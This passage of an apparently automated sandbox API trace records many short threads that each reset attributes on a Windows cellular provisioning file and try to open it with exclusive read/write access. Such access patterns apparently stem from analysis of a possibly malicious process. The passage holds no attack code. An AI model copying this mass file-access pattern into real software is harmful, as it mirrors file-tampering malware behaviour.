(Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\352__connections_cellular_orange (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.199] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\352__Connections_Cellular_Orange (Romania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045560) returned 1 [0180.199] RtlExitUserThread (Status=0x0) Thread: id = 2929 os_tid = 0xfa8 [0180.200] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\353__connections_cellular_vodafone ro (romania)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.200] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.200] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\353__connections_cellular_vodafone ro (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.200] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.201] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044698) returned 1 [0180.201] RtlExitUserThread (Status=0x0) Thread: id = 2930 os_tid = 0xfac [0180.202] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\354__connections_cellular_vodafone ro (romania)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.202] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.202] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\354__connections_cellular_vodafone ro (romania)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.202] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\354__Connections_Cellular_Vodafone RO (Romania)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.202] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3045810) returned 1 [0180.202] RtlExitUserThread (Status=0x0) Thread: id = 2931 os_tid = 0xee4 [0180.203] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\355__connections_cellular_vodafone ro (romania)_i2$(__mvid)@wap.provxml")) returned 0x20 [0180.203] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.203] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\355__connections_cellular_vodafone ro (romania)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.204] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.204] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30447f0) returned 1 [0180.204] RtlExitUserThread (Status=0x0) Thread: id = 2932 os_tid = 0x4d0 [0180.205] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\356__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0180.205] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.205] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\356__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.205] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\356__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.205] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054aa0) returned 1 [0180.205] RtlExitUserThread (Status=0x0) Thread: id = 2933 os_tid = 0xc58 [0180.206] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\357_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.207] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.207] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\357_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.207] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.207] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5800) returned 1 [0180.207] RtlExitUserThread (Status=0x0) Thread: id = 2934 os_tid = 0xb0c [0180.208] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\358_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i1$(__mvid)@wap.provxml")) returned 0x20 [0180.208] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.208] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\358_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.209] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.209] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5ea0) returned 1 [0180.209] RtlExitUserThread (Status=0x0) Thread: id = 2935 os_tid = 0xc74 [0180.210] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\359__connections_cellular_dontelecom (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.210] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.210] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\359__connections_cellular_dontelecom (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.210] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\359__Connections_Cellular_DonTeleCom (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa30d0) returned 1 [0180.210] RtlExitUserThread (Status=0x0) Thread: id = 2936 os_tid = 0xc8c [0180.211] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\35__connections_cellular_zain bh (bahrain)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.211] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.212] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\35__connections_cellular_zain bh (bahrain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.212] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.212] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3044d50) returned 1 [0180.212] RtlExitUserThread (Status=0x0) Thread: id = 2937 os_tid = 0xc78 [0180.213] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\360__connections_cellular_ermak rms (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.213] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.213] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\360__connections_cellular_ermak rms (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.213] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.213] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2b30) returned 1 [0180.213] RtlExitUserThread (Status=0x0) Thread: id = 2938 os_tid = 0xa58 [0180.214] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\361__connections_cellular_megafon (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.215] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.215] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\361__connections_cellular_megafon (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.215] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.216] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2158) returned 1 [0180.216] RtlExitUserThread (Status=0x0) Thread: id = 2939 os_tid = 0xb00 [0180.217] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\362__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0180.217] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.217] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\362__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.217] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.217] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30546f8) returned 1 [0180.217] RtlExitUserThread (Status=0x0) Thread: id = 2941 os_tid = 0xfe4 [0180.373] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\363__connections_cellular_mts (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.507] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.507] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\363__connections_cellular_mts (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.507] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.508] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2c98) returned 1 [0180.508] RtlExitUserThread (Status=0x0) Thread: id = 2942 os_tid = 0xfec [0180.373] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\364__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0180.506] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.506] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\364__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.506] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0180.506] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30550b8) returned 1 [0180.507] RtlExitUserThread (Status=0x0) Thread: id = 2943 os_tid = 0xff0 [0180.374] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\365__connections_cellular_ncc (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.505] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.505] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\365__connections_cellular_ncc (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.505] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa29c8) returned 1 [0180.505] RtlExitUserThread (Status=0x0) Thread: id = 2944 os_tid = 0xff4 [0180.374] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\366__connections_cellular_ntc (new telephone co) (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.504] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.504] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\366__connections_cellular_ntc (new telephone co) (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.504] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.504] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, 